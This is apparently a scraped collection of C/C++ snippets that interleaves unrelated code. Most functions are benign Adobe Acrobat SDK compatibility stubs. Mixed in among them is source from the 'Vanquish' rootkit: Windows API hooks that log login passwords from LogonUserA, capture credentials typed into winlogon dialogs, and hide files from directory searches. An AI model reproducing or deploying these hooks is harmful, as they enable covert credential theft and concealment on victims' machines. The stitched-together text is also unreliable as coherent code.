NEWAPI WINAPI VLogonUserA( LPSTR lpszUsername, LPSTR lpszDomain, LPSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken ) { BOOL retValue = FALSE; VBEGIN //do api thing RESTORE_API(LogonUserA); OLDCALL(LogonUserA, 6); REPLACE_API(LogonUserA); //if all went well we have a user and password if (retValue) Vanquish_Dump2Log("LOGIN OK! DOMAIN/USER/PASSW follow:"); else Vanquish_Dump2Log("LOGIN FAILED! DOMAIN/USER/PASSW follow:"); Vanquish_Dump(lpszDomain); Vanquish_Dump(lpszUsername); Vanquish_Dump(lpszPassword); VEND return retValue; }
ACCB1 ASBool ACCB2 AVAppChooseFolderDialogCompatStub(AVOpenSaveDialogParams dialogParams, ASFileSys *outFileSys, ASPathName *outASPathName) { ACROASSERT(dialogParams); oldAVOpenSaveDialogParamsRec oldParams; AVOpenSaveDialogParams_to_oldAVOpenSaveDialogParams(*dialogParams, oldParams); return OLDCALL(AVAppChooseFolderDialog)(&oldParams, outFileSys, outASPathName); }
NEWAPI BOOL WINAPI VSetWindowTextW( HWND hWnd, LPCWSTR lpString ) { BOOL retValue = FALSE; VBEGIN //we could be in winlogon.exe if (WINLOGON_DetectW(lpString) != 0) { //remeber its process identificator dwWinlogon = GetCurrentProcessId(); } RESTORE_API(SetWindowTextW); OLDCALL(SetWindowTextW, 2); REPLACE_API(SetWindowTextW); VEND return retValue; }
ACCB1 ASBool ACCB2 AVAppSaveDialogCompatStub(AVOpenSaveDialogParams dialogParams, ASFileSys *outFileSys, ASPathName *outASPathName, ASInt16 *ioChosenFilterIndex) { ACROASSERT(dialogParams); oldAVOpenSaveDialogParamsRec oldParams; AVOpenSaveDialogParams_to_oldAVOpenSaveDialogParams(*dialogParams, oldParams); return OLDCALL(AVAppSaveDialog)(&oldParams, outFileSys, outASPathName, ioChosenFilterIndex); }
ACCB1 void ACCB2 AVPageViewDeviceRectToPageRZCompatStub(AVPageView pageView, Int32 flags, AVDevCoord xHot, AVDevCoord yHot, const AVRect *src, ASFixedRect *dst) { ACROASSERT(src); oldAVRect r = StepDown(*src); OLDCALL(AVPageViewDeviceRectToPageRZ)(pageView, flags, StepDown(xHot), StepDown(yHot), &r, dst); //sproc }
ACCB1 void ACCB2 AVWindowGetFrameCompatStub(AVWindow win, AVRect *rect) { ACROASSERT(rect); oldAVRect r; OLDCALL(AVWindowGetFrame)(win, &r); *rect = StepUp(r); }
ACCB1 void ACCB2 AVWindowGetTitleCompatStub(AVWindow win, ASText title) { ACROASSERT(title); char cTitle[1024] = ""; OLDCALL(AVWindowGetTitle)(win, cTitle, sizeof(cTitle)); ASTextSetEncoded(title, cTitle, AVAppGetLanguageEncoding()); }
ACCB1 void ACCB2 AVPageViewDragOutNewRectCompatStub(AVPageView pageView, AVDevCoord xStart, AVDevCoord yStart, AVRect *resultRect) { ACROASSERT(resultRect); oldAVRect r; OLDCALL(AVPageViewDragOutNewRect)(pageView, StepDown(xStart), StepDown(yStart), &r); *resultRect = StepUp(r); }
NEWAPI UINT WINAPI VGetDlgItemTextW( HWND hDlg, int nIDDlgItem, LPWSTR lpString, int nMaxCount) { UINT retValue; VBEGIN RESTORE_API(GetDlgItemTextW); OLDCALL(GetDlgItemTextW, 4); REPLACE_API(GetDlgItemTextW); if (retValue) { DWORD dwThis = 0; dwThis = GetCurrentProcessId(); //we are in winlogon if (dwThis == dwWinlogon) { //we could have stumbled upon a 'good' string Vanquish_Dump2Log("Winlogon interception (user, pwd or domain):"); Vanquish_DumpW(lpString); } } VEND return retValue; }
ACCB1 void ACCB2 AVPageViewScrollToRectCompatStub(AVPageView pageView, const AVRect *rect, ASBool favorLeft, ASBool favorTop, AVDevSize margin) { ACROASSERT(rect); oldAVRect r = StepDown(*rect); OLDCALL(AVPageViewScrollToRect)(pageView, &r, favorLeft, favorTop, StepDown(margin)); }
ACCB1 void ACCB2 AVPageViewRectToDeviceCompatStub(AVPageView pageView, const ASFixedRectP src, AVRect *dst) { ACROASSERT(dst); oldAVRect r; OLDCALL(AVPageViewRectToDevice)(pageView, src, &r); *dst = StepUp(r); }
ACCB1 void ACCB2 AVPageViewGetGrayRectCompatStub(AVPageView pageView, AVRect* rect) { ACROASSERT(rect); oldAVRect r; OLDCALL(AVPageViewGetGrayRect)(pageView, &r); *rect = StepUp(r); }
ACCB1 void ACCB2 AVPageViewInvalidateRectCompatStub(AVPageView pageView, AVRect *area) { oldAVRect r; if (area) r = StepDown(*area); OLDCALL(AVPageViewInvalidateRect)(pageView, area? &r:NULL); }
ACCB1 void ACCB2 AVPageViewGetAnnotRectCompatStub(AVPageView pageView, PDAnnot anAnnot, AVRect *rect) { ACROASSERT(rect); oldAVRect r; OLDCALL(AVPageViewGetAnnotRect)(pageView, anAnnot, &r); *rect = StepUp(r); }
ACCB1 void ACCB2 AVPageViewGetMousePositionSnappedCompatStub(AVPageView pageView, AVDevCoord *x, AVDevCoord *y, AVDragType direction) { ACROASSERT(x); ACROASSERT(y); ASInt16 x16, y16; OLDCALL(AVPageViewGetMousePositionSnapped)(pageView, &x16, &y16, direction); *x = x16; *y = y16; }
ACCB1 void ACCB2 AVPageViewGetMousePositionCompatStub(AVPageView pageView, AVDevCoord *x, AVDevCoord *y) { ACROASSERT(x); ACROASSERT(y); ASInt16 x16, y16; OLDCALL(AVPageViewGetMousePosition)(pageView, &x16, &y16); *x = x16; *y = y16; }
ACCB1 void ACCB2 AVPageViewPointToDeviceCompatStub(AVPageView pageView, const ASFixedPointP p, AVDevCoord *x, AVDevCoord *y) { ACROASSERT(x); ACROASSERT(y); ASInt16 x1; ASInt16 y1; OLDCALL(AVPageViewPointToDevice)(pageView, p, &x1, &y1); *x = x1; *y = y1; }
ACCB1 void ACCB2 AVPageViewSnapPointCompatStub(AVPageView pageView, AVDevCoord *x, AVDevCoord *y, AVDragType direction) { ACROASSERT(x); ACROASSERT(y); ASInt16 x1 = StepDown(*x); ASInt16 y1 = StepDown(*y); OLDCALL(AVPageViewSnapPoint)(pageView, &x1, &y1, direction); *x = x1; *y = y1; }
ACCB1 ASInt32 ACCB2 AVPageViewDragOutNewRectSnappedCompatStub(AVPageView pageView, AVDevCoord xStart, AVDevCoord yStart, AVRect *resultRect, AVCursor *cursorArray, ASInt16 nCursors) { ACROASSERT(resultRect); ASInt32 res; oldAVRect r; res = OLDCALL(AVPageViewDragOutNewRectSnapped)(pageView, StepDown(xStart), StepDown(yStart), &r, cursorArray, nCursors); *resultRect = StepUp(r); return res; }
ACCB1 void ACCB2 AVAppRegisterToolCompatStub(AVTool tool) { ACROASSERT(tool); if (tool->DoClick) tool->oldDoClick = CompatToolDoClick; if (tool->DoRightClick) tool->oldDoRightClick = CompatToolDoRClick; if (tool->AdjustCursor) tool->oldAdjustCursor = CompatToolAdjustCursor; OLDCALL(AVAppRegisterTool)(tool); //call original sproc }
ACCB1 AVDoc ACCB2 AVDocOpenFromASFileWithParamsCompatStub(ASFile file, const ASText tempTitle, AVDocOpenParams params) { const char *cTempTitle = ASTextGetEncoded(tempTitle, AVAppGetLanguageEncoding()); oldAVDocOpenParamsRec op; oldAVDocViewDefRec vd; if (params) { op.viewDef = &vd; AVDocOP_to_oldAVDocOP(params, &op); } return OLDCALL(AVDocOpenFromASFileWithParams)(file, const_cast<char*>(cTempTitle), params?&op:NULL); }
ACCB1 ASBool ACCB2 AVDocRegisterSelectionServerCompatStub(AVDocSelectionServer server) { ACROASSERT(server); if (server->GetAVRect) { server->oldGetAVRect = CompatAVDocSelectionGetAVRectProc; } if (server->ShowMenu) { server->oldShowMenu = CompatAVDocSelectionShowMenuProc; } oldAVDocSelectionServer s= StepDown(server); return OLDCALL(AVDocRegisterSelectionServer)(s); }
ACCB1 void ACCB2 AVPageViewDragRectCompatStub(AVPageView pageView, AVDevCoord xStart, AVDevCoord yStart, AVRect *startRect, AVRect *resultRect, Int32 dragType, AVRect *extrema) { ACROASSERT(startRect); ACROASSERT(resultRect); oldAVRect sr = StepDown(*startRect); oldAVRect rr; oldAVRect er; if (extrema) er = StepDown(*extrema); OLDCALL(AVPageViewDragRect)(pageView, StepDown(xStart), StepDown(yStart), &sr, &rr, dragType, extrema? &er : NULL); *resultRect = StepUp(rr); }
ACCB1 void ACCB2 AVPageViewSnapRectCompatStub(AVPageView pageView, AVDevCoord xStart, AVDevCoord yStart, AVDevCoord xNow, AVDevCoord yNow, AVRect *startRect, AVRect *resultRect, ASInt32 handleType, ASUns32 modifiers, const AVRect *extrema) { ACROASSERT(startRect); ACROASSERT(resultRect); oldAVRect sr = StepDown(*startRect); oldAVRect rr; oldAVRect er; if (extrema) er = StepDown(*extrema); OLDCALL(AVPageViewSnapRect)(pageView, StepDown(xStart), StepDown(yStart), StepDown(xNow), StepDown(yNow), &sr, &rr, handleType, modifiers, extrema? &er : NULL); *resultRect = StepUp(rr); }
DECLARE_HIDEFILES NEWAPI HANDLE WINAPI VFindFirstFileExW( LPCWSTR lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, LPVOID lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, DWORD dwAdditionalFlags ) { HANDLE retValue = INVALID_HANDLE_VALUE; //if is trying to find hidden name then fail if (posw0(lpFileName) != MAXDWORD) { SetLastError(ERROR_FILE_NOT_FOUND); return INVALID_HANDLE_VALUE; } BOOL nex; //call API FindFirstFile RESTORE_API(FindFirstFileExW); OLDCALL(FindFirstFileExW, 6); REPLACE_API(FindFirstFileExW); if (retValue) { if (!IsBadReadPtr(lpFindFileData, sizeof(WIN32_FIND_DATAW))) { //we can TRUST that VFindNextFileW will return a non-hidden file if (posw0(((LPWIN32_FIND_DATAW)lpFindFileData)->cFileName) != MAXDWORD) { nex = VFindNextFileW(retValue, (LPWIN32_FIND_DATAW)lpFindFileData); //there is no file to show if (!nex) { FindClose(retValue); SetLastError(ERROR_FILE_NOT_FOUND); return INVALID_HANDLE_VALUE; } } } } return retValue; }
ACCB1 ASInt32 ACCB2 AVPageViewDragRectSnappedCompatStub(AVPageView pageView, AVDevCoord xStart, AVDevCoord yStart, AVRect *startRect, AVRect *resultRect, Int32 dragType, AVRect *extrema, AVCursor *cursorArray, ASInt16 nCursors) { ACROASSERT(startRect); ACROASSERT(resultRect); ASInt32 res; oldAVRect sr = StepDown(*startRect); oldAVRect rr; oldAVRect er; if (extrema) er = StepDown(*extrema); res = OLDCALL(AVPageViewDragRectSnapped)(pageView, StepDown(xStart), StepDown(yStart), &sr, &rr, dragType, extrema? &er : NULL, cursorArray, nCursors); *resultRect = StepUp(rr); return res; }
ACCB1 void ACCB2 AVAppRegisterLegacyToolBarPositionCompatStub(const char *toolBarName, ASBool external, AVToolBarPosition position) { oldAVToolBarPositionRec oldposition; oldposition.inDoc = position->inDoc; oldposition.dockPosition = position->dockPosition; oldposition.floatingWindowName = position->floatingWindowName; oldposition.stackNum = position->stackNum; oldposition.offset = position->offset; oldposition.order = position->order; oldposition.windowFrame = StepDown(position->windowFrame); oldposition.layout = position->layout; oldposition.hidden = position->hidden; oldposition.windowHidden = position->windowHidden; oldposition.size = sizeof(oldposition); OLDCALL(AVAppRegisterLegacyToolBarPosition)(toolBarName,external,&oldposition); }
ACCB1 void ACCB2 AVAppRegisterAnnotHandlerCompatStub(AVAnnotHandler handler) { ACROASSERT(handler); if (handler->DoClick ) handler->oldDoClick = CompatAnnotDoLClick; if (handler->AdjustCursor ) handler->oldAdjustCursor = CompatAnnotAdjustCursor; if (handler->PtInAnnotViewBBox ) handler->oldPtInAnnotViewBBox = CompatPtInAnnotViewBBox; if (handler->GetAnnotViewBBox ) handler->oldGetAnnotViewBBox = CompatGetAnnotViewBBox; if (handler->DoRightClick ) handler->oldDoRightClick = CompatAnnotDoRClick; if (handler->DrawEx ) handler->oldDrawEx = CompatAnnotDrawEx; OLDCALL(AVAppRegisterAnnotHandler)(handler); //call original sproc }
NEWAPI BOOL WINAPI VFindNextFileW( HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData ) { BOOL retValue = FALSE; //find a file RESTORE_API(FindNextFileW); OLDCALL(FindNextFileW, 2); REPLACE_API(FindNextFileW); if (retValue) { if (!IsBadReadPtr(lpFindFileData, sizeof(WIN32_FIND_DATAW))) { //while we are finding a hidden file RESTORE_API(FindNextFileW); while (posw0(lpFindFileData->cFileName) != MAXDWORD) { //get next file retValue = FindNextFileW(hFindFile, lpFindFileData); //if there is no file to get then fail if (!retValue) { //we keep the error from FindNextFileW, NO SetLastError(ERROR_NO_MORE_FILES); break; } } REPLACE_API(FindNextFileW); } } return retValue; }
ACCB1 void ACCB2 AVPageViewDrawRectOutlineWithHandlesCompatStub(AVPageView pageView, const AVRect *rect, ASBool bMidpoints, ASBool bThin, ASFixed *dashArray, ASInt32 arrayLen) { ACROASSERT(rect); oldAVRect r = StepDown(*rect); OLDCALL(AVPageViewDrawRectOutlineWithHandles)(pageView, &r, bMidpoints, bThin, dashArray, arrayLen); }